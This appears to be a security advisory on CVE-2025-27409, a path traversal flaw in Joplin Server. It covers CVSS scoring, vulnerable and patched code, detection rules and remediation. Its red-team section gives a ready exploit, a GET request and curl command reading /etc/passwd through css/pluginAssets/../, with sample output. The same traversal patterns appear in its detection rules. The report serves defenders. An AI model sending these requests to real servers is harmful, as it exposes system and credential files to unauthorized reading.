CVE-2025-27409

Executive Summary

CVE-2025-27409 is a path traversal vulnerability in Joplin Server, an open-source note-taking and to-do application. The flaw exists in the default route's findLocalFile function, which fails to sanitize paths starting with css/pluginAssets or js/pluginAssets. An unauthenticated attacker can exploit this to read arbitrary files outside the intended directories, leading to unauthorized information disclosure. The vulnerability has a CVSS score of 7.5 (High) and is patched in version 3.3.3. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is significant due to the potential for sensitive data exposure.

Supply Chain & Package Security

Joplin Server is distributed as a Node.js application via npm. Organizations using Joplin Server should verify their deployment version and ensure no malicious packages have been introduced. The vulnerability is in the server-side code, not in the npm supply chain itself, but the risk of dependency confusion or compromised packages remains a general concern.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Complete loss of confidentiality, potential for reading sensitive files.
• Integrity (I): None (N) – No impact on integrity.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and it can lead to the disclosure of sensitive data such as configuration files, credentials, or user data.

Deep Dive & Mechanics

The vulnerability resides in the default route handler of Joplin Server. When a request is made to a static file path, the server calls the findLocalFile function. This function invokes localFileFromUrl to check if the path starts with css/pluginAssets or js/pluginAssets. If it does, the function returns a path without validating for path traversal sequences (e.g., ../). An attacker can craft a URL like http://target/css/pluginAssets/../../etc/passwd to read arbitrary files on the server.

The root cause is the lack of input validation after the initial check. The localFileFromUrl function is designed to handle special plugin asset paths, but it does not sanitize the path for traversal sequences. This allows an attacker to escape the intended directory and read any file the server process has access to.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.3.3):

function findLocalFile(url) {
    const localPath = localFileFromUrl(url);
    if (localPath) {
        return localPath; // No path traversal check
    }
    // ... other logic
}

function localFileFromUrl(url) {
    if (url.startsWith('css/pluginAssets') || url.startsWith('js/pluginAssets')) {
        return path.join(pluginAssetsDir, url);
    }
    return null;
}

Patched Code (3.3.3):

function findLocalFile(url) {
    const localPath = localFileFromUrl(url);
    if (localPath) {
        // Resolve and validate the path to prevent traversal
        const resolvedPath = path.resolve(localPath);
        if (!resolvedPath.startsWith(pluginAssetsDir)) {
            return null; // Reject if outside allowed directory
        }
        return resolvedPath;
    }
    // ... other logic
}

function localFileFromUrl(url) {
    if (url.startsWith('css/pluginAssets') || url.startsWith('js/pluginAssets')) {
        return path.join(pluginAssetsDir, url);
    }
    return null;
}

The patch adds a path resolution and validation step to ensure the final path stays within the pluginAssetsDir. This prevents directory traversal attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Joplin Server (version < 3.3.3) in a Docker container.
2. Ensure the server is accessible on a local network.

Exploitation Steps:

1. Identify the target Joplin Server endpoint (e.g., http://target:22300).
2. Craft a path traversal payload to read sensitive files:

   GET /css/pluginAssets/../../etc/passwd HTTP/1.1
   Host: target:22300
   

3. Alternatively, use a tool like curl:

   curl --path-as-is "http://target:22300/css/pluginAssets/../../etc/passwd"
   

4. The server will return the contents of /etc/passwd if successful.

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in paths starting with css/pluginAssets or js/pluginAssets.
• Use the detection rules provided in the Detection Engineering section.

Defense:

• Immediately upgrade to Joplin Server 3.3.3 or later.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns in URLs.
• Restrict file system permissions to limit the impact of a successful exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with paths like /css/pluginAssets/../../ or /js/pluginAssets/../../
  • Unusual outbound connections from the Joplin Server (if attacker exfiltrates data)
• File System IOCs:
  • Unexpected access to files outside the plugin assets directory (e.g., /etc/passwd, configuration files)
• Log IOCs:
  • Web server logs showing 200 responses to path traversal requests
  • Error logs indicating attempts to read restricted files

Detection Engineering

YARA Rule

rule CVE_2025_27409_Joplin_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Joplin Server CVE-2025-27409"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $traversal1 = "css/pluginAssets/../"
        $traversal2 = "js/pluginAssets/../"
        $traversal3 = "css/pluginAssets/..%2f"
        $traversal4 = "js/pluginAssets/..%2f"
    condition:
        any of them
}

Sigma Rule

title: Joplin Server Path Traversal Attempt (CVE-2025-27409)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in Joplin Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'css/pluginAssets/../'
            - 'js/pluginAssets/../'
            - 'css/pluginAssets/..%2f'
            - 'js/pluginAssets/..%2f'
    condition: selection
falsepositives:
    - Legitimate use of plugin assets with similar paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27409 Joplin Server Path Traversal Attempt"; flow:to_server,established; content:"css/pluginAssets/../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-27409 Joplin Server Path Traversal Attempt"; flow:to_server,established; content:"js/pluginAssets/../"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-27409 Joplin Server Path Traversal Attempt (URL Encoded)"; flow:to_server,established; content:"css/pluginAssets/..%2f"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-27409 Joplin Server Path Traversal Attempt (URL Encoded)"; flow:to_server,established; content:"js/pluginAssets/..%2f"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Joplin Server to version 3.3.3 or later immediately.
2. WAF Rules: Deploy WAF rules to block path traversal patterns in URLs.
3. Access Controls: Restrict file system permissions for the Joplin Server process to minimize the impact of a successful exploit.

Long-Term Measures:

• Implement regular security audits and code reviews for custom plugins.
• Use static analysis tools to detect path traversal vulnerabilities in the codebase.
• Monitor for new CVEs and apply patches promptly.

Valters IT Signature

Report generated by Valters IT DevSecOps Intelligence Unit